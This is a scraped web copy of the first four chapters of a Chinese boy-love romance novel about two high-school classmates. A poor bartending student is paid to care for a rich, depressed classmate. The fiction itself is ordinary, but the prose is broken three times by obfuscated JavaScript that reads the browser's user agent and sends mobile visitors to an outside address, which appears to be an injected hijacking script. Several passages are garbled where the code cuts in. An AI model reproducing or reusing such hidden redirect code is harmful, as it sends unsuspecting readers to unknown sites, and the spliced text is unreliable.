《恋爱有什么难的?》 1. 第 1 章 “这个给你。”周靖泽的笑很爽朗,递来一张银行卡。 校园的小树林里空旷幽静,江逸不明所以,懵懵地看着他,“你给我银行卡干什么?” 周靖泽眼里闪过一丝痛苦,“阿逸,不到一年后就高考了,我看着你白天上课,晚上还要去酒吧打工,你知道我心里的感受吗?” 江逸摸了摸下巴:“你什么感受我真不知道,我是有点累,你应该很庆幸你不是我?” 周靖泽摇摇头,有些无奈:“如果我不跟你挑明,你可能永远不知道。我不想看你这么辛苦。” “没办法啊,各人有各人的命,我就是个苦命人。” 周靖泽把卡放在他手里,“你可以用卡里的钱,是我自己的钱。” “我不想借钱,借钱压力大,不还钱我睡觉都睡不好。” 周靖泽看着他的侧脸微微出神,江逸的帅干净又透着点跳脱的劲儿,身姿像株迎着光的青竹。 “我不用你还钱,从今往后,我的就是你的。” “那怎么可能呢?虽然我们是从小一起玩到大的,平时你请我吃饭就算了,怎么可以用你的钱?” 周靖泽知道今天不是好的时机,也知道江逸根本还没开窍,看到他眼底淡淡的青色,他心酸得难受,“我接下来的话或许不该说。” “哎呀,你今天到底怎么了?一会儿非要借我钱,一会儿又磨磨唧唧,说话吞吞吐吐的,你来大姨妈了?” 周靖泽眉毛抖了下,这人,纯直男,他眼神欲言又止,挣扎了下,“阿逸,我喜欢你,不想看你这么辛苦。” 说出去的那一刻,周靖泽脑子里一片荒芜,像是个等待审判的孩子,渴求地看着对面站着的人。 江逸嘴角一挑,“真不知道你今天撞了什么邪,说话这么恶心。”他摸了摸鼻尖,“你的意思我明白了,我赶着去上班,晚到一个小时扣我50块钱,我一晚上就挣180。” 周靖泽拉住他的胳膊,眼神撇开,没敢看他。“对于我说的话,你有什么想法?” “你今天没完了?说你恶心,你还一直搞我,行,我说完你就让我去上班,我也喜欢你,行了吧,老子这辈子没说过这么恶心的台词。” “我再不过去要错过这辆公交了。周靖泽,你个孙子,快给老子转50块钱。” 周靖泽:“……”他没明白,好不容易鼓足勇气的告白,他一个字也没听懂。 周靖泽在原地站了许久,刚抬脚想往回走,看到斜前方一个身影,肩线挺括,190cm个子挺拔出众。 对方视线清淡地撇过来,是谢逾白,周靖泽讪讪的,有点被撞破的窘迫。 他刚想过去说点什么,试图让对方别把这件事说出去,但谢逾白这人,性情冷,不是什么好说话的人,他犹豫徘徊的时候,再看过去,人已经离开了。 江逸刚换好制服,连着打了两个喷嚏。 宋越笑呵呵调侃:“逸哥,是不是又有小姑娘念叨你了。” “我昨晚开着空调睡觉,感冒了,哪来的小姑娘?” “九点钟方向,两个女孩半个小时前就坐在那里等你了,她们上周跟萧哥要的你的值班表。黑长直长发女孩很不错,你不试试谈一个?” 感冒让他的鼻子闷闷的,带着点鼻音,“越子,你看我有钱谈恋爱吗?” 他家的情况,的确没钱,连电费都快交不起了,“哥们,白瞎你这张脸了。” 江逸一双弧线漂亮的眼睛,琥珀色的眼睛清澈明亮,一中名副其实的校草。 他来了以后,酒吧的生意比以前好了很多。 宋越胳膊怼了怼他,“三点钟方向,一个超级大帅哥,瞥了你好几次了。你是不是抢人家女朋友了?” 江逸循着方位看过去,男生身形挺阔,眉骨高,眼窝深,瞳色浓黑,眼神矜冷,谢逾白? 他脑子懵了下,他怎么来了?谢逾白这人不得了,脑门上明晃晃地写着,我很矜贵,我很牛逼,这几个字。 他跟自己完全是两个世界的人,据说他家境非常好,律师世家,头脑也好,奥林匹克数学竞赛省一等奖,明天就要参加全国竞赛,今天还有心情来泡吧,真牛逼。 这人眼高于顶,今天晚上不知道怎么了,静静地看过来好几次了。不知道他抽什么风。 江逸面前来了两个女生,黑长直眼睛亮闪闪的,“帅哥,你的联系方式,加一下呗,我想跟你学调酒。” “你们女孩子,这么晚了,少喝酒。” “你好体贴哦,既然不放心,你亲手给我调,度数低点的吧。”女孩的声音甜腻。 宋越对他挑眉,“要不要我给你顶个班?让你有时间约会。” “一会儿你下班了赶紧走,废话这么多。” 他眼前罩下来一个黑影,谢逾白身高加持下,极具侵略感。 江逸懒洋洋看他:“你要喝什么?” “随便。” 他调了一杯蓝调给他,尽量度数不太高的,否则走漏了风声,影响大学霸为校争光,他成千古罪人了。 “不好喝。” 江逸又调了一杯,红白相间。 谢逾白属于浓颜系帅哥,唇线抿着,“还是不好喝。”他喝了一口又推了回来。 江逸眉心微抖,“你到底要怎么样?” “没有度数高点的?”谢逾白的眼睑狭长,看人的时候漫不经心。 “你明天不是去参加奥数竞赛?能喝酒?” 谢逾白眼尾扬着,眼瞳眸光微露,“你怎么知道?” “我不是聋子,学校广播说了好几遍,数学老师和班主任也说过好几次,谁不知道?” 谢逾白黑睫垂着,看不清神情,“你继续倒酒。” 江逸随口胡说:“你失恋了?来酒吧买醉?” 谢逾白表情震惊地看着他,有一霎那的失神。 他扫了下支付码,收款到账10000元,他眉棱一挑,“现在能给我带酒精的酒了?” “你是什么财阀少爷吗?喝酒哪有预付款这么多的?” 江逸还是那句话,“你不能喝。” 谢逾白长臂一伸,把一瓶原浆酒液握住,他指节匀称,指骨微凸。 江逸同样握住酒瓶,两人的手一个在上,一个在下,握着酒瓶子较劲,力量拉扯。 江逸常年打篮球,力气不小,谢逾白身材不仅高,这么面对面看过去,肩膀宽,手臂明显有肌肉,这人脑子那么好用,竟然还不是书呆子,力气这么大。 他今天感冒了,较量了一会儿,后背开始冒虚汗,稍微分神,手打滑,瓶子向谢逾白的方向倒了过去。 淡黄色的酒液就这么喷了出去,洒在谢逾白的身上,从他的胸口到腹部,滴滴答答,裤子上晕染了一大片深色,甚至他高挺的鼻梁上也有一滴酒液。 酒瓶啪一声脆响,掉到了地上,摔得粉碎。 江逸慌乱中抽出几张纸巾,对着谢逾白潮湿的胸口胡乱抹了几下。 谢逾白瞳孔颤了下,脸色有些不自然,嘴唇抖动,下颌线绷紧。 在酒吧打工,江逸见过各种场面,因为他引起的,还是第一次,谢逾白穿着价格不菲的白色卫衣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305445|182817||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 淡黄色酒液洒上去十分明显。 他的锁骨支棱着,擦酒液的时候,江逸的小手指不小心刮到他皮肤了一下。 那一瞬间,谢逾白猛地掀起眼睑,喉结剧烈滚动,有些慌乱,“你……手从我身上拿开。” “你喊什么,你个大男人,不小心碰你一下,你能怀孕?”江逸懒得跟他计较,拿着扫帚,捡地上的酒瓶子渣,有一块在谢逾白腿下面。 他额前碎发柔软垂在眉前,眸光清亮,蹲着抬眼,“你让一让?” 谢逾白深邃的眸子看过来,“干什么?” “有个玻璃碎片在你腿下面,我捡出来。”江逸头发颜色偏浅,带着点棕调,毛茸茸的一颗脑袋在地上。谢逾白低眼看着,腿一动不动。 一根手指戳了戳他的小腿,江逸仰着脸说,“让开?” 谢逾白眼睫垂落,遮去眼底情绪,身体有些僵硬,稍微挪了挪腿。 江逸握住他的脚踝往左边推了一下。 江逸扭曲身体,以一个奇异的姿势,把一块绿色的玻璃碎片捡了出来。 起身的一刻,江逸腿发麻,身体不受控制地往旁边倒去,不偏不倚刚好砸到谢逾白的身上。两人都是高个子,骨骼很硬朗,江逸的肩膀砸到谢逾白的肋骨,顿时就麻了。 谢逾白明显被撞得不轻,咬肌绷着,浓黑的瞳孔迷蒙,呼吸重了一些,全身像被施了定身法,一动不能动。 江逸伸展四肢,浅色的瞳孔憧憬谢逾白的眼眸,对方像被人非礼的姑娘似的,他不知是不是看错了,谢逾白的样子有点古怪。 江逸伸展四肢想站起来,发现腰被固定着,若非谢逾白掐住他的腰,估计他就摔倒地上了。 谢逾白手指跟铁钳子似的,江逸拍了一下他的手,“还没摸够吗?你松开。” 握在他腰上的手闪电一般收了回去。 江逸活动脖颈期间,手里的玻璃渣尖端擦到了自己的指尖,几滴血珠冒了出来。 他赶紧把玻璃渣扔进垃圾桶,血珠一滴滴落在地上,鲜艳惹眼。 谢逾白深黑的瞳孔缩了下,大手捏紧江逸的手腕,眼神焦距在他的指尖,“你的手怎么搞的?” “刚刚让你躲开不躲开,酒吧灯光这么暗,我捡起来多不容易。” 指尖传来丝丝缕缕的痛感,谢逾白拽着他的胳膊,拽他出后门,把人按在斑驳粗糙的墙壁。 江逸后背死死贴着墙,“你想干什么?” 他手腕还被人紧紧箍着,可能是血液流通不顺畅,流血止住了。 谢逾白把他的手腕抬起来,凝视他的指尖,细小的破口还红着,“你怎么这么不小心?” 他长眉微蹙,从兜里拿出轻柔的纸巾,递过来,“你擦擦。” 江逸被他忽然间的柔和迷糊了一下,语气没那么冲了,“我不让你喝酒是为了班级荣誉,你有没有责任心?” 谢逾白嘴角一扯,“你有班级荣誉?你放学在小树林里,做什么了?被人表白了?” 江逸有一双极有辨识度的眼睛,瞳孔澄澈明亮,给人一种眼睛总是在笑的感觉。他眼神呆了一下,“怎么了?” “你不是直男?你什么时候喜欢开始喜欢男生了?” 今天谢逾白怎么这么反常,江逸揉着酸疼的肩膀,左思右想。 他想起周靖泽跟他说什么喜欢他,谢逾白听到了?该不会误以为他是同性恋吧。他们只是好朋友之间的胡扯罢了。 江逸反问:“我喜欢男生还是女生,给你有什么关系?” 谢逾白脸色几经变化:“怎么没有关系。” 2. 第 2 章 昨天晚上12点才下班,江逸感觉自己灵魂要出窍了,他昏昏沉沉睡到下午第一节课,班级里面声音杂乱,把他吵醒了。 “你们说真的?昨天谢逾白旷考奥数竞赛?不可能吧?” “我路过副校长办公室,数学老师跟任老师在里面被骂得狗血淋头。” “谢逾白怎么会出这种纰漏,他不是需要这次竞赛的名次,直接申请华大的吗?” 江逸想起那天晚上谢逾白来找他,的确有点反常,问他喜欢男生还是女生,谢逾白误会自己是同性恋,难道他恐同吗? 班长走进来,“江逸,班主任让你去一下他的办公室。” 任老师看到他,招手让他进去,办公室黑色沙发上坐着一个25岁左右的女人,穿着一身白色的西装,干练气场足,她的脸漂亮极了,是个大美女。 她一双杏眼在江逸身上来回扫视,看得他后背发凉。 谢雪姚声音悦耳,“他就是江逸?” 任老师态度谦和,“没错,就是他。” 谢雪姚柳眉微挑,“是不错。” 江逸被她看得有点晕,不错,什么不错? 任老师递给他一个假条,“江逸,你下午的假条我给你开好了,你代表我和全班同学,去探望谢逾白同学。” 江逸指向自己,“我?代表大家?”怎么可能是他?怎么也轮不到他吧,“任老师,这恐怕不太合适,谢逾白平时跟我交情一般。” “让你去,你就去,老师说话不好用?”任老师脸冷了下来。 任老师人不错,本来晚自习下课九点半,江逸请了假,每天七点半就走,“好用,我就是怕谢逾白不想看到我。” 谢雪姚掩着嘴唇轻笑了几声,“你还挺有趣的,放心,我带你去,他不敢。” 离开办公室之前,任老师把他拉到一边,小声嘱咐,“谢逾白家里不一般,一会儿我给你微信转账,你路上买个果篮跟牛奶,表达我们的一点心意。” “明白了,老师。” 江逸没跟这么干练的美女姐姐接触过,她踩着高跟鞋,一路上吸引了很多同学的目光,校门口停着一辆劳斯莱斯幻影。 这种只在电视上看过的车,听说平时谢逾白上下学坐的是迈巴赫,他家是真的豪。 谢雪姚拉开车门跟他一起坐在后座,“你平时跟逾白关系怎么样?” “请问您是他的?” “亲姐姐。” “姐姐,你想听实话吗?” “当然。” “我跟他关系很差。” 谢雪姚噗嗤一声笑了,“有趣,那么你呢?你对他感觉怎么样?说实话。” “我想和平相处,但是他很难琢磨,阴晴不定的。” “你说的没错,他就是这样,他在你眼里有没有优点?” 江逸脑子里浮现谢逾白清冷淡漠的一张脸,脑子里搜刮了好久,挤出几个词,“有钱,脑子好用。” 谢雪姚笑颜如花,“这家伙真够失败的。你是不是很疑惑我为什么选择你去探望他?” “是姐姐选的我吗?”江逸说话时嘴角挂着淡淡的笑容,脸上有个浅浅的酒窝。 他不仅人长得帅,嘴也甜,情商高,一声声姐姐叫得谢雪姚很受用,“是我选的你,也可以说是谢逾白的意思。” “接下来我要跟你说的话请你不要跟任何人提起。现在距离医院还有不到二十分钟的车程,我简单把逾白的情况跟你说一下。他前天夜里旧病复发,紧急去了医院。我家的情况比较特殊,母亲去世,父亲在国外,我要在律所公司两头奔波,实在没什么人照看他。” “你跟他同学两年多,想必对他的为人有些了解,他不喜欢跟人接触,能照顾他的人寥寥无几。我想过雇佣护工,他有严重的洁癖,别人在他根本无法睡觉,脾气焦躁,这种情况下,我没有什么选择。” 她杏眼热切地看着江逸,“江逸同学,可不可以麻烦你照顾他一下,报酬这方面,我会开出让你足够满意的数额。” 江逸被她的一番话说得一愣一愣的,且不说谢逾白并不像她说的那样朋友少,虽然他冷脸的时候多,班里喜欢在他身边围前围后的人不少,很多人崇拜他。 他这种边缘性格有时候还挺吸粉的,在女生里面受欢迎的程度极高,每天他的书桌里塞满了女生送的零食。每次他都扔掉,还有人乐此不疲地送。 江逸斟酌着语言,“姐姐,同学有难,本来我义不容辞,可是,我实在分身乏力。”他打了个哈欠,“不瞒您说,我昨晚就睡了五个小时,放学还有兼职,不怕姐姐笑话,我自身难保。” “你还不知道他生的什么病吧。” 江逸摇头。 “抑郁症,重度,有严重的肢体反应。” 江逸心中一颤,“怎么会?他看上去很强大,前天我们见面,看上去还挺勇猛的。” “为什么?”江逸不明白,谢逾白要钱有钱,要颜有颜,学习好,前程似锦,为什么会生病?他穷得上顿不接下顿还没病呢。 “至于原因,说来话长。江逸,我了解一些你家的情况,我们需要你,你需要钱,不是正好?只要你答应陪着他一直到高考结束,我给你这个数。”她淡粉色指甲在手机上输出一行数字。 江逸出于好奇看了看,数字一长串,他不禁张大了嘴巴,“这是30万?” 谢雪姚嫣然一笑:“你再数一遍?” 江逸眼睛认真地看着屏幕,数了两遍,满眼不可置信,“300万?” “有点少?价格我们可以谈,只要你愿意,多少都可以。” 江逸喃喃自语:“三百万,够买我的命了。” “你还挺幽默的。” “你出这么多钱,如果不是跟我开玩笑,肯定没那么简单。”江逸不是单纯的人,他半只脚迈入社会,天下哪有白吃的午餐? “到了,我们晚一些,继续聊。” 这里是本市最好的私家医院,病房很大,更像一个套房,外面有客厅,连接里间的是玻璃墙,大床上躺着一个男生,双眼阖着,黑睫垂下。 谢逾白阖上眼睛的时候比睁开眼睛看着顺眼。 “他因为什么发病?” “我就不藏着掖着,我调查了这件事,他的情绪波动源自于你。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他手背还在挂水。坐了一会儿,江逸忽然发现,输液管里的药物所剩无几,该换吊瓶了,江逸手忙脚乱地喊人。 什么高级医院?他连个护士也没看见。 他在房间里找了找,没有其他替换的吊瓶,怎么办?他没有谢姐姐的联系方式。 他咬着牙,趴在床边,去解谢逾白手上的吊瓶针,他手指按住谢逾白手背上的青筋。 江逸手指微微颤抖,一个个解开白色胶带,最后一个步骤拔出针头,他深吸一口气,捏着蓝色针头,用力一扯,鲜血冒了出来。 江逸到处找不到棉签,拿着胶带按回去,他听见轻嘶一声。 他猛然看过去,谢逾白漆黑的眼眸锁着他,瞳孔幽幽的,泛着冷光。 江逸吓得往后一跳,椅子翻了,咣当一声。 谢逾白的眼窝深,眼瞳莫名深情,爱也深情,恨也浓烈。 谢逾白嗓子沙沙的,声线很低,“你想谋杀我?” 3. 第 3 章 谢逾白撑起身子,他靠在床头,眉峰清峻,他气质偏冷,声音也冷。“你怎么在这?” 江逸:“收了钱,来谋杀。” 谢逾白眉弓下压,“你到底来干什么?谁带你来的?” “你手机呢?加个微信?” 谢逾白深黑的眼瞳看过来,“为什么?” “任老师和同学们的一点心意,让我给你送个果篮,你姐姐接我来的,我忘记买了,我直接微信转给你。” 谢逾白头微微侧了一下,手指压了下耳朵,不敢相信他说了什么,“你省省吧。” 江逸扒拉着手机,从班级群里找到了他的微信,申请好友,“你快通过一下。”他回去,任老师肯定问他细节,完不成任务,不是找骂吗。 谢逾白眉心拧了下,“钱你留着,当我收下了,你打车回去。” “你让我撒谎骗人,就这点小事?”江逸看到他的手机摆在床头柜上。他拿起来递过去,“不想加我,微信付款码也行。” 谢逾白被气得脸色发红,“我缺你那三瓜两枣?” “嗯?你手机屏幕没锁,你在写什么……” 谢逾白忽然想起什么,身体弹起,来抓他手里的手机,江逸快速躲开,拿到另一边,笑话,他可是篮球高手,哪能这么容易被抢走? 趁着两人过招的空隙,他扫视着屏幕:他的眼睛像星海,他注视了我五秒钟。视线往上滑,还有日期。 这是暗恋日记? 俗话说林子大了,什么鸟都有,眼前这只外表冷傲,实际上,竟然偷偷写这种酸不拉几的东西。 这好像是个什么匿名的APP,颜色淡蓝,江逸随意扫了几眼,300多条,谢逾白写了这么多条?真是情圣。 谢逾白刚挂完水,睡醒不久,力气恢复需要缓冲,他猛然发力,把江逸按在床上,床颤悠了一下,一个旋身,把江逸压在身下,他身材高,骨骼沉实,这重量不是开玩笑的。 他面色阴沉地把手机抢走,按了关机键,这一系列动作结束,他反应过来,把人压在了身下。 江逸被压得呼吸起伏,脸颊发红,长长的睫毛簌簌颤抖。 谢逾白身下传来的触感紧实,江逸身上的气息很清爽,眼神稍微凌乱,偏浅的头发散落。 “谢逾白,你他妈水泥做的?这么沉!给老子起来。”他挥舞着四肢,手脚并用想把他掀下去。 谢逾白刚刚用力过猛,心神恍惚,被他一下掀在地上,发出咕咚一声巨响,额头撞到了椅子腿,他低哼了一声。 江逸立刻起身,亲眼见到他像个陀螺跌倒在地,长手长脚地结结实实砸在地上,额角红了一大块。 啊,这,他对一个病人,做了什么? 两人都有点懵,江逸轻咳几声,过去扶他。 谢逾白拍开他的手,“别碰我。” “我扶你回床上。” 谢逾白身体以一种奇异的姿势蜷在地上,脊背弓着,他喉结滑动,眼神潮湿,“你先别动我,一边待着去。” 江逸不管他说什么,凑近看他的脸,他的脸绷着,剑眉微蹙,唇线紧抿,好像在忍耐什么疼痛。 “你哪里疼?”江逸的手指悬在谢逾白额角,上面的红痕明显,“这里吗?”他说话的气息热热的,因为愧疚,语气柔和了一些,“完了,帅哥破相了。” 他的手指打算再接近一些,谢逾白腾出一只手抓住他的手指,“不是让你离我远点,听不懂?” “是我把你推下来的,你现在动也不能动,我总要看看你什么情况,一会姐姐回来了,我怎么交代?” 谢逾白蹙眉,“姐姐?谢雪姚?你称呼得倒是亲热。” “你不叫姐姐?” “不叫。” “那你叫她什么?” “谢雪姚。” “你好冷漠。”江逸看他身体舒展了一些,“你是不是腹部被撞到了,一直蜷着。” 谢逾白额头隐隐有青筋,抬手隔开挡着他的视线,“你能不能别往我身上乱瞟?你来看我,我还没死,看完了,你可以走了吧?” 江逸:“你脾气真的好差。” 谢逾白深黑的瞳孔,复杂的眼神掠过来。 江逸后知后觉:“刚刚我把心里话说出来了?”他本来只想在心里默默吐槽谢逾白脾气差而已。 “这家医院怎么回事?不是顶级医院吗?怎么没人管你?” 谢逾白欲言又止,用脚趾想,肯定有人把医生护士叫走了。 “你人缘怎么这么差?你生病了,连个陪你的朋友兄弟也没有?” 听到兄弟两个字,谢逾白嘴角冷然,“我是没你人缘好,朋友兄弟一大堆,平时亲亲我我,搂搂抱抱。” 江逸想起他的病因,听着他奇奇怪怪的语气,饶是他比较迟钝,也听出来谢逾白语气不太对,他小心求证,“你喜欢男生?” 谢逾白撩起眼睑看过来,“你想问什么?你知道了什么?” “我都知道了,你的病因,那个……”江逸吞吞吐吐的,“情路不顺。” 谢逾白五指张开用力扣在地板上,脸色煞白,瞳孔失神,“你……全知道了?” 平心而论,谢逾白长相俊朗矜贵,只是平时过于高傲,嘴角扬着,眉梢挑着,看上去冷酷又拽,有点欠揍。 此刻,谢逾白的侧脸有些颓唐,黑睫颤动,唇线发白,“你怎么看?” “我的看法重要吗?”江逸摸了摸鼻尖。 谢逾白看着他的眼睛,眼神缥缈。 “你这么帅,家里有钱,头脑又好,实在犯不上为情所困,还有不到一年就高考了,你专心考试。” 谢逾白瞳孔的光一点点消退,生机渐渐消失,“你走吧。” “我先扶你起来。” “你走吧。”他像个复读机,重复这句话。 “我看你就是富贵病,像我整天为了温饱奔波,没有这些情情爱爱的困扰,你即便喜欢男生,愿意跟你好的前仆后继,犯得着为了周靖泽一棵树吊死?” 谢逾白缓慢抬眼,对上他的视线,眉棱动了下,“你的意思是……” “我知道你误会我跟周靖泽了,我俩不是那种关系,你还有机会,你想追他我帮你想想办法。当然,如果你脾气改一改的话,否则,太委屈我兄弟了。” 他的话像刮刀,一下下刮过谢逾白的神经:“这些是谁告诉你的?” 江逸手指点了点额角,“聪明如我,分析出来的。” “你是够聪明的。” “认识两年多了,你嘴里终于说出一句人话。” 谢逾白起身,坐在床边,垂着头,脊背微弯,长发遮住眉眼,“你跟他,说了互相喜欢。” “是兄弟,朋友的喜欢,你没有那种吗?” “没有。” 谢逾白:“你为什么不跟他在一起,如果他对你是另一种喜欢。” “哪一种?你这种要死要活的?” 谢逾白眼角抽动,“说你的事,别扯我。” “我没有事,只要是男生,谁喜欢我也没结果,我是直男。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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谢逾白冷笑:“他对你真好。” “你以为人人对我都像你这么差?冷眉竖眼的?” 谢逾白:“我有吗?” “当然,我知道你讨厌我,只是不知道你讨厌我什么?我性格还挺好的吧,我可是校草。” 江逸心情不错,毛茸茸的头晃过来,淡笑着,“你看,我是不是好看?” 谢逾白扭头,“一般。” “周靖泽是我从小到大的铁哥们,如果你把我搞定,我帮你,胜算多一层。” 谢逾白眉心陷着,“搞定你什么?” “你刷我好感呗。” “我有病?” 江逸点头:“你看看周围,没病你为什么在这里?” 谢逾白打开手机,打电话:“谢雪姚,十分钟以内回来。” “快通过我好友。” 谢逾白打开手机,看到一个红点的好友申请,浓睫颤动,指尖一滑,点了忽略。 谢逾白:“……” 江逸眼睁睁看着他忽略了,“你、你什么意思?” 谢逾白沉沉的眼瞳看过来,有点懊恼,“如果我说,我手滑了,你信吗?” 江逸拎着他的领口,把人往前拽,眼里有杀气,“我现在手滑了,你信吗?” 他清澈明亮的眼睛眨也不眨地看过来,谢逾白喉咙发干,呼吸变快,嘴唇微张,“你再发一遍?” “我有那么贱?我不发了!”江逸捉住他的领子,把人又拎近了一些,他气得语无伦次,“你应该庆幸,你这种人,没落到我手里。如果你喜欢我,你知道我会怎么收拾你吗?” 谢逾白脑子嗡嗡的,听见自己问,“会怎么?” “玩够了就甩了。”江逸松开他,揉了揉手腕,打开门,走了出去。 4. 第 4 章 江逸睡到第三节课,揉了揉脖颈,昨天晚上酒吧有人打架,他录了笔录,到家一点多了。 林飞羽偷偷在桌子下面玩手机,江逸偏头看过去,屏幕里蓝色的页面有点眼熟,这不就是谢逾白玩的那个? “你看的是什么?” “暗恋成真APP,我正在刷秦婉宁的账号,她刚刚更新了状态。” “更新什么状态?” “暗恋状态,你连这都不知道,从去年开始,这个APP很火的,暗恋的人很多都下载了,暗恋转为明恋就卸载,据说成功率很高的。” 江逸满脸嫌弃的表情,“你们这些优等生,真闲,这么无聊,喜欢谁就表白,行就在一起,不行就拜拜下一个,整这么麻烦的干什么。” 林飞羽看他,江逸支肘趴在课桌上,肩线清瘦,水润的眼睛弯着笑意,眼尾轻扬。 “我跟你说这些真是废话,你当然不用暗恋,妈的长你这样,别说你告白肯定成功,就算你性骚扰都不会有人报警。” “你说话注意点,我的名节很重要的,骚扰你妹。” 林飞羽:“我真有妹妹。” 江逸:“……” “当我没说。” 任老师在门口,指着江逸,“过来。” 江逸把校服领口拉上去,“老师。” “你昨天去医院看谢逾白,他状态怎么样?” 江逸:“暂时死不了。” “你给我好好说话。” “老师,我又不是医生,我哪知道?” “他什么时候能回来上课,今天副校长说下个月十号,有个物理竞赛,学校希望他能准时参加。” “学校没有别人了吗?他是个病人,养病要紧。” “你的意思,副校长的想法没有你的重要?” 江逸:“并没有。” “你今天下午再去一趟,把物理竞赛练习册给他带过去。劝一劝他,这次物理竞赛如果名次好,华大同样有机会。” “又是我去?任老师,你们能不能换个人?谢逾白烦我,真的,我去他肯定拒绝。”江逸就不明白了,全班这么多能人,怎么就可他一个人薅羊毛。 “你以为我想用你?谢逾白的病只有你跟我两个人知道,这种病传出去不好听,而且,别人他不见,去了也没用,昨天我问过他姐姐,副校长、我们任课老师都想去看看他,被她一口拒绝了。” 谢逾白这样的家庭,最注重脸面,这种病情,肯定谨慎处理。 江逸不爱去,“老师,我下午要听课,英语卷子上有好几道题,我不会。” “你是不是傻?谢逾白是学霸中的学霸,上次模拟考试英语150,他考了满分,你想问什么题,他不能给你解决?” “他脾气那么差,不会给我讲题的。” “你到底是不是我班的学生?每天下课,他桌子外面排队问问题的那么多,哪次他没告诉同学?你能不能放下偏见?他就是性情冷,人不冷漠。” 这届学生他带了两年半,每个学生都很了解,谢逾白就是面冷心不冷的类型,虽然家里条件优越,他没什么架子。 软的不行,任老师只好来硬的,“江逸,我听说你晚自习请假没有回家陪妹妹,反而去酒吧打工了,如果是这样,我下个月开始不能给你批假了。你得在学校上自习,我得保证你的安全,酒吧那种地方太复杂,不适合你们高中生。万一你有个意外,对你自己不负责任,学校名誉受损,得不偿失。” 江逸立刻换上笑脸,“别呀,任老师,谢逾白同学现在生病了,这种需要关怀的病,我作为同学,应该给予帮助。平时送个教材笔记什么的,跑腿我最在行,这些事您交给我,放心,保证完成任务。” “多为难你,你跟他关系一般,物理竞赛的事,他不一定听你的。别白费力气了,我管不了他,我管好你,保证你的安全。” “物理竞赛是吧,我跟他动之以理晓之以情,万一同意了呢。华大全国顶尖的大学,如果他保送了,老师您脸上有光,毕业以后我出去吹,也牛啊。” 任老师笑笑:“你真的愿意帮忙?” “心甘情愿,我就是这么乐于助人。” 江逸去水果店买了水果,大热天,倒了两次公交才到医院,几袋子水果沉甸甸的,到了医院门口,没想到还不让进,安保太严格了。 他蹲在医院门口啃苹果,啃完一个,一辆法拉利超跑停在不远处的停车场,一个窈窕的身影走下来,正红色的连衣裙,江逸心想,这个医院住的果然都是有钱人。 走到门口,谢雪姚拉低太阳镜,看到蹲在旁边的男生,江逸蹲在树荫下,手肘搭在膝头。手里红苹果咬得脆响,汁水沾在唇角,有着少年气的鲜活。 她举起手机,随手一拍,偶像剧里面的男主角。 谢雪姚走过去,“江逸。” 江逸站起来,“姐姐,太好了。” “你来看逾白?” 江逸不好意思地挠挠头,“任老师让我过来送物理竞赛的材料。” “怎么不进去?” “保安不让。” “跟我来。”谢雪姚气场十足,跟保安说了几句什么,保安队长小跑着赶来,“这位同学,抱歉,我们刚才没搞明白状况,多有得罪,您放心,下次过来肯定第一时间放行。” 这就是财富的力量吗?不是一般爽。 谢雪姚摘下墨镜,妆容精致,“委屈你了江逸。” “没关系。” “我跟你说的事情,你考虑得怎么样了?” “什么事情?”江逸想了想,“该不会是三百万的事情?” “对啊。”谢雪姚无奈地说,“不瞒你说,我下午有个六千万的单子,为了来看看逾白,推迟到了明天,不知道单子会不会飞了。弟弟,你看在姐姐这么诚心的份上,考虑一下,答应我怎么样?” 江逸靠在医院的扶手上,略微思考,“毕竟我跟他是同学关系,我是个直男,钱虽好,我不能没底线吧?” “我是商人,底线什么的我没有,任何事情都有价码,你可以考虑几天,我认为是双赢的事。你是直男没什么,逾白挺单纯的,不到一年时间,即使你跟他谈恋爱,不用上床吧。” 江逸觉得自己是个说话糙的人,没想到谢雪姚更口无遮拦,他做梦也没想到,有一天,他跟谢逾白会跟“上床”两个字有任何关联。 在大美女面前,他脸色微红。 “要么这样,你先上岗,做一下护工,我给你高出市价十倍的工资。” “你是铁了心要用钱砸我?” “没想到居然没砸下来。” 谢雪姚把他送到门口,转身要离开。 江逸诧异:“你不进去?” “你来了,我还去做什么?我回去准备明天签单的文件。”谢雪姚快忙死了,“拜托你,好好搞他,别让他疯癫了。” 江逸:“……”搞字用得是不是不太对? 他手里好几个袋子,身上出了一身汗,一只手提着袋子,好不容易打开门,进门第一眼,他愣住了。 谢逾白穿着件病号服,站在地上,正对着门口方向,一排扣子一个没系,从喉结,胸膛,到腹肌一览无遗。 谢逾白肩头舒展,胸肌边缘清晰,皮下肌理有着克制力量感。 腹肌线条分明,妥妥的八块腹肌,排列规整的肌理下,人鱼线禁欲性感。 谢逾白属于冷硬的骨相,眼窝微微陷着,睫毛密得恰到好处。 他神情似乎被定住了,眼瞳怔愣地看着忽然出现的人,一时之间没反应过来。 江逸啧了一声,“你身材不错。” 谢逾白眼睛缓慢眨了一下,迅速转身背对着他,一颗颗系好扣子。 “我带了这么多东西过来,你不搭把手?” 谢逾白指了下旁边的桌子,“放那里。”他的视线似有若无地落在江逸脸上,“你怎么又来了?” 听听,他说的什么话!“你以为我乐意来?你是什么香饽饽吗?任老师派我来给你送物理竞赛复习材料!” “你激动什么?我知道你不乐意来。”谢逾白坐在床上,神情淡淡,“你拿这么多东西?” “你不知道有多沉!我倒了两趟公交,到了楼下保安不让进,我等了好半天。” 谢逾白眉头蹙起,“有这种事?我打电话给他们。” “算了,你姐姐处理过了。” 谢逾白语速缓慢地问:“你为什么来?有人勉强你?是谁?” “任老师。” 